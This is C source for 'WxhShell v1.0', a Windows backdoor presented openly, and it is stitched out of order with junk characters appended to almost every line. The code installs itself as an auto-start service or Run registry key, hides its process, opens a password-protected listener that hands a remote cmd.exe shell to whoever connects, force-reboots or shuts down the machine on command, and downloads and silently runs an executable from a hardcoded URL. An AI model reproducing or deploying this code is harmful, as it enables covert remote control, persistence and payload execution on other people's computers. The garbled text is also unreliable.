    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Zp P6Q  
    if(Boot(SHUTDOWN)) 9R<J$e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,HjHt\!~<  
    else { /)HEx&SQmZ  
    closesocket(wsh); ^SES')x  
    ExitThread(0); vN[m5)aT  
    } "nS{ ;:  
    break; vcUM]m8k   
    } -1Ki7|0,  
  // 获取shell Szob_IEq,  
  case 's': { RI].LB_  
    CmdShell(wsh); Tr+Y@]"  
    closesocket(wsh); os0"haOI9h  
    ExitThread(0); 'G By^hj?  
    break; <GU(/S!}  
  } [_z2z6  
  // 退出 S&g -  
  case 'x': { < oG\)!O  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 3jQ$72_  
    CloseIt(wsh); @C6DOB  
    break; MZ#2WP)F  
    } [ @71  
  // 离开 OjL"0imN6  
  case 'q': { _O'rZ5}&  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); UmHb-uk ;  
    closesocket(wsh); Sr-^faL  
    WSACleanup(); doUqUak  
    exit(1); y#SD-# I-  
    break; u K&_IE}  
        } t`/RcAwA  
  } 5L'@WB|{4u  
  } fxCPGj  
5EZr"  
  // 提示信息 P xuz {  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N=}Z#  
} R yIaT  
  } ;Z0cD*Jb  
CX(yrP6;  
  return; -)c"cgx.  
} yvnrZ&x :  
Ib<+m%Ac  
// shell模块句柄 <UHf7:0V  
int CmdShell(SOCKET sock) kT3;%D^  
{ uTF EI.N  
STARTUPINFO si; vVRCM  
ZeroMemory(&si,sizeof(si)); K>E!W!-PJ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; J};,%q_  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8Y kH  
PROCESS_INFORMATION ProcessInfo; i7E7%~S  
char cmdline[]="cmd"; i}12mjF  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); rs)aEmvC  
  return 0; xH .q  
} krT!AfeV  
dtXJ<1:  
// 自身启动模式 dEl3?~  
int StartFromService(void) )HiTYV)]'  
{ nWg)zj:  
typedef struct k.VOS 0  
{ 9!<3qx/  
  DWORD ExitStatus; 3). c [F^l  
  DWORD PebBaseAddress; IOsDVIXL\  
  DWORD AffinityMask; t ,Rn  
  DWORD BasePriority; Nd!=3W5?  
  ULONG UniqueProcessId; ;-wPXXR  
  ULONG InheritedFromUniqueProcessId; I>\?t4t  
}   PROCESS_BASIC_INFORMATION; (4gQe6tA  
<Gt{(is  
PROCNTQSIP NtQueryInformationProcess; |L#r)$n{1  
6aK2 {-+  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; tWy<9TF  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 'cCj@bZ9X  
[_B&7#3>7  
  HANDLE             hProcess; ]fmfX  
  PROCESS_BASIC_INFORMATION pbi; Nv#, s_hG  
o*S $j Cf?  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); X Ow^"=Oa[  
  if(NULL == hInst ) return 0; MPw7!G(qj  
L{ ^@O0S  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); }Bg<Fm  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); icbYfgQ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); YZ+g<HXB  
$CV'p/^En  
  if (!NtQueryInformationProcess) return 0; V&n JT~k  
HBYpjxh  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); FK('E3PG  
  if(!hProcess) return 0; y.NArN|%  
%HS!^j3C%  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _\6(4a`,  
M?CMN.Dw  
  CloseHandle(hProcess); ph+tk5k  
m eWq9:z  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); dQ"W~ig  
if(hProcess==NULL) return 0; QAw,XZ.K^  
lt"*y.%@b  
HMODULE hMod; 3`!KndY1  
char procName[255]; fN>|X\-  
unsigned long cbNeeded; C\h<02  
)}lV41u  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Gi2Ey37]O  
O/~^}8TLL  
  CloseHandle(hProcess); .OUE'5e p  
)eyxAg  
if(strstr(procName,"services")) return 1; // 以服务启动 >gl<$LQ?X  
t9l7 % +y  
  return 0; // 注册表启动 VAzJclB  
} i`s pM<iR.  
(pg9cM]NA  
// 主模块 =l9#/G#R  
int StartWxhshell(LPSTR lpCmdLine) CT`X~y10  
{ 32/P(-  
  SOCKET wsl; cW%O-  
BOOL val=TRUE; ^!tI+F{n{  
  int port=0; xz'd5 re%  
  struct sockaddr_in door; <5^(l$IBj  
!d )i6W?  
  if(wscfg.ws_autoins) Install(); ?5gpk1  
q,Q|Uvpk  
port=atoi(lpCmdLine); h}_q  
{<n)zLy  
if(port<=0) port=wscfg.ws_port; N/=3Bs0y-  
1r4/McB  
  WSADATA data; tYa*%|!v  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 1i2O]e!  
jgIzB1H  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   3S?+G)qKo  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); hdb4E|'A  
  door.sin_family = AF_INET; 8B9zo&  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); .9 QQ]fLs  
  door.sin_port = htons(port); %q^]./3p  
v\FD~   
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { SsZzYj.d  
closesocket(wsl); -/?<@*n  
return 1; '_Oprx  
} bq ]a8tSB  
'h=2_%l@Y  
  if(listen(wsl,2) == INVALID_SOCKET) { R MXj)~4.  
closesocket(wsl); b5R*]  
return 1; Y6a|\K|  
} J_$~OEC~  
  Wxhshell(wsl); bS<p dOX_  
  WSACleanup(); }IL@j A  
Awh)@iTL  
return 0; m ws.)  
A@r,A?(  
} $Plk4 o*g  
!HYqM(|{.  
// 以NT服务方式启动 xcA:Q`c.{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) D$;/ l}s?  
{ 89bKnsV  
DWORD   status = 0; }fZBP]<I(  
  DWORD   specificError = 0xfffffff; VCO/s9AL  
-%|I  
  serviceStatus.dwServiceType     = SERVICE_WIN32; <i-RF-*S  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; l<?wB|1'  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; NBX/V^  
  serviceStatus.dwWin32ExitCode     = 0; *Yw6UCO  
  serviceStatus.dwServiceSpecificExitCode = 0; 70eN]OY  
  serviceStatus.dwCheckPoint       = 0; :Ib\v88WIv  
  serviceStatus.dwWaitHint       = 0; d\M !o*U  
`314.a6S  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,~#hHhR_  
  if (hServiceStatusHandle==0) return; J)o%83//  
,?+yu6eLb  
status = GetLastError(); `RRORzXoS  
  if (status!=NO_ERROR) +l(}5(wc  
{ 3OlY Ml  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; .M lE1n'  
    serviceStatus.dwCheckPoint       = 0; Z)%p,DiNM  
    serviceStatus.dwWaitHint       = 0; e`^j_V nEH  
    serviceStatus.dwWin32ExitCode     = status; |~Iw   
    serviceStatus.dwServiceSpecificExitCode = specificError; AP%h!b5v  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ";]m]PRAam  
    return; QTH yH   
  } U^D7T|P$V  
b8&9pLl  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 6s;x@g]  
  serviceStatus.dwCheckPoint       = 0; }=gGs  
  serviceStatus.dwWaitHint       = 0; <*P1Sd.  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); O/Vue  
} "/5b3^a  
XJ9>a-{  
// 处理NT服务事件,比如:启动、停止 2Z~o frj  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 6%-2G@6d  
{ ,")7uMZaF\  
switch(fdwControl) g=Lt 2UIJ  
{ ]Ea-?IhD  
case SERVICE_CONTROL_STOP: {YFru6$  
  serviceStatus.dwWin32ExitCode = 0; ||f 4f3R'  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 4.TG&IQ nN  
  serviceStatus.dwCheckPoint   = 0; U' Cp3>  
  serviceStatus.dwWaitHint     = 0; DNPK1e3a{  
  { x& S>Mr  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {$^|^n5j  
  } v]v f(]""  
  return; tr Ls4o,  
case SERVICE_CONTROL_PAUSE: N<x5:f#+  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; CfU )+20  
  break; `0D+x  
case SERVICE_CONTROL_CONTINUE: novZ<?7 5;  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 6c:$[owC  
  break; ?9:\1)]  
case SERVICE_CONTROL_INTERROGATE: ?jbam! A  
  break; W2RS G~|  
}; kVY@q&p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); C;` fOCz^  
} jolCR-FDu  
@)B_e*6>'  
// 标准应用程序主函数 "<n{/x(  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) DWAU8>c+  
{ @,]v'l!u  
<IYt*vlm  
// 获取操作系统版本 `*]r.u0  
OsIsNt=GetOsVer(); _~!,x.Dbp  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 7Do)++t  
 DWI!\lK  
  // 从命令行安装 PA E)3  
  if(strpbrk(lpCmdLine,"iI")) Install(); dZ*o H#B  
LBg#KQ @  
  // 下载执行文件 )lbF'.i  
if(wscfg.ws_downexe) { V47 Fp  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @azS)4L  
  WinExec(wscfg.ws_filenam,SW_HIDE); WKG=d]5  
} -}%zus5  
 Po5}Vh  
if(!OsIsNt) { bpkn[K"(  
// 如果时win9x,隐藏进程并且设置为注册表启动 99 [ "I:  
HideProc(); ;$Y?j8g  
StartWxhshell(lpCmdLine); 04s N 4C  
} f5N~K>  
else f: R h9  
  if(StartFromService()) NoMC* ",b>  
  // 以服务方式启动 2}NfR8 N  
  StartServiceCtrlDispatcher(DispatchTable); M`(xAVl  
else ^JTfRZ :a  
  // 普通方式启动 ?@~FT1"6G  
  StartWxhshell(lpCmdLine); f*Kipgp  
{1o=/&  
return 0; }V 1sY^C  
} 0t) IW D  
z# y<QH  
-I -wdyDr  
-$7Jc=:>  
=========================================== /<mc~S7  
\sk,3b-&'  
[-l^,,E  
yH Cc@`1.  
e"v Eh  
eu# ||  
" m'pihFR:f  
\ .:CL?m#  
#include <stdio.h> 4ngiad6bR  
#include <string.h> dgO2fI  
#include <windows.h> >@t]M`#&h  
#include <winsock2.h> 3yTBkFI!  
#include <winsvc.h> RKe19l_V  
#include <urlmon.h> sIy  LW  
U}UIbJD*=  
#pragma comment (lib, "Ws2_32.lib") ?f%@8%px  
#pragma comment (lib, "urlmon.lib") (k[<>$hL*  
eN/Jb;W  
#define MAX_USER   100 // 最大客户端连接数 IcA]<}0!"v  
#define BUF_SOCK   200 // sock buffer r@_;L>  
#define KEY_BUFF   255 // 输入 buffer 8'zwy d3  
c6e?)(V>  
#define REBOOT     0   // 重启 _%t w#cM  
#define SHUTDOWN   1   // 关机 U<*dDE~z  
*@O;IiSE  
#define DEF_PORT   5000 // 监听端口 9qw~]W~Nm  
^!A{ 4NV  
#define REG_LEN     16   // 注册表键长度 }Iu6]?|'  
#define SVC_LEN     80   // NT服务名长度 "$WZd  
G",+jR]  
// 从dll定义API D,NjDIG8  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); rP*?a~<  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); *6uiOtH  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Fr3Q"(  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); qWWy}5SOm  
C4b3ZcD2  
// wxhshell配置信息 UOa{J|k>h  
struct WSCFG { Q} / :  
  int ws_port;         // 监听端口 v'|Dj^3[  
  char ws_passstr[REG_LEN]; // 口令 }+SnY8A=KZ  
  int ws_autoins;       // 安装标记, 1=yes 0=no sUg7  
  char ws_regname[REG_LEN]; // 注册表键名 3c6<JW  
  char ws_svcname[REG_LEN]; // 服务名 le*pd+>j  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 W] RxRdY6[  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 d@C93VYp  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 L:~ "Vw6]_  
int ws_downexe;       // 下载执行标记, 1=yes 0=no M,l Ib9  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" NWTsL OIm  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 #KiRH* giU  
^fRA$t  
}; U2G\GU1 X  
]Fa VKC~3  
// default Wxhshell configuration GLEGyT?~  
struct WSCFG wscfg={DEF_PORT, zhFGMF1  
    "xuhuanlingzhe", FQ);el'_V  
    1, (Y-7B  
    "Wxhshell", OYe @P  
    "Wxhshell", .rwZ`MP  
            "WxhShell Service", ,UY],;ib  
    "Wrsky Windows CmdShell Service", dD#A.C,Rz  
    "Please Input Your Password: ", S]k<Ixvf  
  1, ETYw  
  "http://www.wrsky.com/wxhshell.exe", O%rjY  
  "Wxhshell.exe" htIV`_<Ro  
    }; RFqbwPX  
U#YM)8;Iz  
// 消息定义模块 L> cTI2NB.  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; x H\5T!  
char *msg_ws_prompt="\n\r? for help\n\r#>"; !)ee{CwNc  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; d6wsT\S  
char *msg_ws_ext="\n\rExit."; [0  3Aej  
char *msg_ws_end="\n\rQuit."; 1XwbsKQ}  
char *msg_ws_boot="\n\rReboot..."; ,b2Cl[  
char *msg_ws_poff="\n\rShutdown..."; FLi)EgZXt  
char *msg_ws_down="\n\rSave to "; =EFF2M`F  
xqIt?v2c  
char *msg_ws_err="\n\rErr!"; mlX^5h'  
char *msg_ws_ok="\n\rOK!"; Fz-Bd*uS  
o ;.j_  
char ExeFile[MAX_PATH]; $n!saPpxS  
int nUser = 0; `j@2[XdHu  
HANDLE handles[MAX_USER]; `ez_ {  
int OsIsNt; kAU[lPt*R  
U^[<G6<9]  
SERVICE_STATUS       serviceStatus; 7?e*b(vd  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; q0$}MB6  
e;!si>N  
// 函数声明 g;vG6!;E\  
int Install(void); OSxr@  
int Uninstall(void); C}#JvNyQ  
int DownloadFile(char *sURL, SOCKET wsh); nT9B?P>  
int Boot(int flag); vTN$SgzfCU  
void HideProc(void); 8IbHDDS  
int GetOsVer(void); gTm[<Y  
int Wxhshell(SOCKET wsl); a3JG&6-  
void TalkWithClient(void *cs); !fjDO!,!  
int CmdShell(SOCKET sock); tyNT1F{  
int StartFromService(void); ~`(#sjr6KR  
int StartWxhshell(LPSTR lpCmdLine); ,SH))%Cyt  
c:M~!CXO  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); c V=h 8F  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Beq zw0  
Z_Hc":4i  
// 数据结构和表定义 YrFB~z.V  
SERVICE_TABLE_ENTRY DispatchTable[] = F:1w%#6av  
{ Js ~_8  
{wscfg.ws_svcname, NTServiceMain}, qf7 lQovK  
{NULL, NULL} wm !Y5  
}; BH0].-)[y!  
>`SIB; &>j  
// 自我安装 "I}3*s9Q-  
int Install(void) {+!m]-s  
{ *CMe:a  
  char svExeFile[MAX_PATH]; ~+7q.XL$$K  
  HKEY key; 0DV .1  
  strcpy(svExeFile,ExeFile); 5_9mA4gs@  
^,qi` Tk  
// 如果是win9x系统,修改注册表设为自启动 7NE"+EP\{2  
if(!OsIsNt) { Rra<MOR  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ".Luc 7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); C0Z mv  
  RegCloseKey(key); ~A(fn:d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >S,yqKp37~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +"'cSAK  
  RegCloseKey(key); |1uyJ?%B  
  return 0; ?v p' /l"  
    } QJ\ o"c  
  } mbK$_HvU  
} k|'{$/ n  
else { \ym3YwP4/:  
&;DK^ta*P  
// 如果是NT以上系统,安装为系统服务 $i;%n1VBg  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 1 \:5ow&a  
if (schSCManager!=0) V)mitRaV  
{ Vf:/Kokq  
  SC_HANDLE schService = CreateService 1Ue )&RW  
  ( xy5&}_Y  
  schSCManager, DY/xBwIF  
  wscfg.ws_svcname, 9@/ X;zO  
  wscfg.ws_svcdisp, 6w|s1!B l  
  SERVICE_ALL_ACCESS, >|'u:`A  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , W_8N?coM  
  SERVICE_AUTO_START, 7VduewKX8  
  SERVICE_ERROR_NORMAL, DD{-xCCR  
  svExeFile, #?DwOUw  
  NULL, bz<f u  
  NULL, t2uX+1F  
  NULL, ).0klwfV  
  NULL, B+:/!_  
  NULL ZF^$?;'3  
  ); | vL0}e  
  if (schService!=0) jgNdcP  
  { 8lk@ev=O&  
  CloseServiceHandle(schService); uxLT*,  
  CloseServiceHandle(schSCManager); #eadkj #;  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ""q76cx  
  strcat(svExeFile,wscfg.ws_svcname); ~-ZquJ-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ^YiGvZJ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 6}4?, r  
  RegCloseKey(key); ?5-Y'(r  
  return 0; K%iWUl;  
    } -j9Wf=  
  } wyJ+~  
  CloseServiceHandle(schSCManager); jrk48z  
} jkTC/9AE|  
} v"ZNS  
nI]8w6eCV  
return 1; 0vR gmn  
} }@6ws/5  
"sh*,K5x|  
// 自我卸载 7vZtEwC)n  
int Uninstall(void) :+#$=4  
{ q(xr5iuP_  
  HKEY key; AUjZYp  
a4aM.o  
if(!OsIsNt) { Wg{ 9X#|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { cip5 -Z@8  
  RegDeleteValue(key,wscfg.ws_regname); W cOyOv  
  RegCloseKey(key); *Cf5D6=Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {02$pO  
  RegDeleteValue(key,wscfg.ws_regname); c[VVCN8dA  
  RegCloseKey(key); rZ`+g7&^Fh  
  return 0; ,Y9bXC8+dU  
  } ~P!\;S  
} w]1hoYuV  
} o rBB5JJ  
else { u|(;SY  
!r^fX=X>'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); [~_)]"pU  
if (schSCManager!=0) Ck1{\=t  
{ %[S-"k  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); t?1 b(oJ  
  if (schService!=0) [h&)h+xt  
  { ^cRAtoa  
  if(DeleteService(schService)!=0) { oD<aWZ"Z  
  CloseServiceHandle(schService); "qh~wKJ  
  CloseServiceHandle(schSCManager); {0L.,T~g+[  
  return 0; =1#obB  
  } m4\e `nl  
  CloseServiceHandle(schService); R ?62g H  
  } {:;6 *W  
  CloseServiceHandle(schSCManager); OTe h8h  
} (fNG51h!  
} At<D36,^"  
~dXiyU,y2  
return 1; ~aBf.  
} (>49SOu;$\  
2`dKnaF|  
// 从指定url下载文件 C*X=nezq  
int DownloadFile(char *sURL, SOCKET wsh) Q&5s,)w-  
{ !#y_vz9  
  HRESULT hr; G]v BI=  
char seps[]= "/"; UpTVLx^c  
char *token; mY= Q#nG  
char *file; CH9Psr78  
char myURL[MAX_PATH]; x3AAn,m8  
char myFILE[MAX_PATH]; DyPHQ}G  
GBYeiEgZh  
strcpy(myURL,sURL); \^oI3K0`  
  token=strtok(myURL,seps); <#nt?Xn  
  while(token!=NULL) s,CN<`/>x  
  { Efp[K}Z^$  
    file=token; q!;u4J  
  token=strtok(NULL,seps); 8&Md=ZvK`  
  }  LA]UIM@  
6L<Y   
GetCurrentDirectory(MAX_PATH,myFILE); jWL%*dJrN  
strcat(myFILE, "\\"); JIc(hRf9>  
strcat(myFILE, file); H|)F-aL[  
  send(wsh,myFILE,strlen(myFILE),0); pJdR`A-k|  
send(wsh,"...",3,0); icK>|   
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 0?o<cC1Z  
  if(hr==S_OK) s3-TBhAv  
return 0; tp<v  
else K>2M*bGc p  
return 1; ?ESsma6  
.QU]  
} x?7z15\  
v? Zo5uVoq  
// 系统电源模块 DuQW?9^232  
int Boot(int flag) :y.~IQN  
{ Y 'y yrn}  
  HANDLE hToken; Y(RB@+67  
  TOKEN_PRIVILEGES tkp; &>f]  
#HDP ha  
  if(OsIsNt) { 0^3n#7m;K  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); b($9gre>mI  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); QQ,V35Vp[  
    tkp.PrivilegeCount = 1; M]Hf>7p  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; T@jv0/(+  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _]v@Dq VP  
if(flag==REBOOT) { @+{F\SD\  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) oTJ^WePZQ  
  return 0; "c.@4#/_  
} 4#,,_\r  
else { :al ,zxs  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ,! H`@Kl  
  return 0; Xhs*nt%l  
} -}1TT@  
  } MWv(/_b  
  else { od)ssL&E~  
if(flag==REBOOT) { []jbzVwS2  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) esM r@Oc  
  return 0; L1#_  
} .uinv  
else { JU#m?4g  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) MTip4L W9  
  return 0; cT5BBR   
} bkuJN%  
} ^[&,MQU{7  
eI9#JM|2  
return 1; bcgXpP  
} l(9AwVoAR|  
]D&U} n  
// win9x进程隐藏模块 Ft^X[5G4L  
void HideProc(void) Jcy+(7lE)  
{ fg7  
7|xu)zYB  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Zts1BWL[  
  if ( hKernel != NULL ) 1N[9\Yi  
  { Y(u`K=*  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 9;Q|" T  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); VAo`R9^D#  
    FreeLibrary(hKernel); O!ilTMr  
  } ~h:(9q8NLC  
v@4vitbG9  
return; F`La_]f?b\  
} Z,tHyyF?j  
T`bUBrK6g`  
// 获取操作系统版本 zR4]buHnE  
int GetOsVer(void) OdpHF~(Y/  
{ ^T*!~K8A  
  OSVERSIONINFO winfo; -'F27])  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); xI_0`@do  
  GetVersionEx(&winfo); .D;6 r4S  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9}_'  
  return 1; i;atYltEJ2  
  else &e78xtA{  
  return 0; W^7yh&@lU  
} jgiS/oW  
f@gvDo]Y  
// 客户端句柄模块 b0/YX@  
int Wxhshell(SOCKET wsl) AB{zkEuK  
{ +cbF$,M4  
  SOCKET wsh; &=f?:UZ%  
  struct sockaddr_in client; xYZ,.  
  DWORD myID; .4ZOm'ko{  
)~Gn7  
  while(nUser<MAX_USER) k }{o: N  
{ .Cf!5[0E  
  int nSize=sizeof(client); PC HKH  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 5$$# d_Gj  
  if(wsh==INVALID_SOCKET) return 1; `8r$b/6  
J$PlI  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); F9Af{*Jw?x  
if(handles[nUser]==0) 4K\o2p?4  
  closesocket(wsh); l,~`o$ _  
else x]@z.Yj  
  nUser++; Qea"49R  
  } F2\&rC4v  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); t(dVd%   
/OYa1,  
  return 0; E%( s=YhW  
} OwEu S#-  
tJ7F.}\;C  
// 关闭 socket #.!#"8{0_  
void CloseIt(SOCKET wsh) UCXRF  
{ xHqF_10S#  
closesocket(wsh); SME9hS$4  
nUser--; AusjN-IL  
ExitThread(0); N:CQ$7T{ j  
} *dxm|F98  
=@pD>h/~  
// 客户端请求句柄 sgDSl@lB  
void TalkWithClient(void *cs) BY&{fWUo  
{ cly}[<w!  
7#W]Qj  
  SOCKET wsh=(SOCKET)cs; MV??S{^4  
  char pwd[SVC_LEN]; ~o/k?l  
  char cmd[KEY_BUFF]; SQhVdYU1'  
char chr[1]; 7r50y>  
int i,j; {6WG  
//;(KmU9  
  while (nUser < MAX_USER) { Hq+QsplG  
g$jTP#%b  
if(wscfg.ws_passstr) { )[J @s=  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); VdGVEDwz  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); iE}] E  
  //ZeroMemory(pwd,KEY_BUFF); I 44]W&  
      i=0; 6VC|] |*  
  while(i<SVC_LEN) { L ph0C^8  
<R+?>kz6  
  // 设置超时 jf-XVk5q  
  fd_set FdRead; uI9*D)  
  struct timeval TimeOut; /t< &  
  FD_ZERO(&FdRead); o[}Dj6e\t  
  FD_SET(wsh,&FdRead); [\#ANA"  
  TimeOut.tv_sec=8; G0|}s&$yL  
  TimeOut.tv_usec=0; y631;dU  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 934j5D  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); %8 D>aS U  
`^,E4Qy  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); oH+PlL  
  pwd=chr[0]; dq@ * 8ui  
  if(chr[0]==0xd || chr[0]==0xa) { qHp2;  
  pwd=0; 0O,;[l  
  break; !mTq6H12 !  
  } LSA6*Q51  
  i++; !'~Ldl  
    } /8Y8-&K0  
RRPPojKZ  
  // 如果是非法用户,关闭 socket  ?ueL'4Mm  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]hS<"=oj  
} >zDQt7+g;  
CuH4~6  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); -3i(N.)<;  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); AWi>(wk<  
u<uc"KY=  
while(1) { !L8q]]'XM  
MZ&.{SY7  
  ZeroMemory(cmd,KEY_BUFF); MH#"dGGu  
fkp(M  
      // 自动支持客户端 telnet标准   A$N%deb  
  j=0; 6IV):S~  
  while(j<KEY_BUFF) { >\^oCbqF}~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Pj]^ p{>  
  cmd[j]=chr[0]; ZzNHEV  
  if(chr[0]==0xa || chr[0]==0xd) { M9A1 8d|  
  cmd[j]=0; .B- b51Uz  
  break; Q-V8=.  
  } Z^2SG_pD  
  j++; x?V^ l*  
    } 3vcyes-U  
Ahl&2f\  
  // 下载文件 OblHN*  
  if(strstr(cmd,"http://")) { ;l _b.z0^6  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); :e=7=|@7  
  if(DownloadFile(cmd,wsh)) =oIt.`rf  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); >J3m ta3  
  else \Xmp lG:  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i KQj[%O  
  } 2F`#df  
  else { yQUrHxm  
d@g29rs  
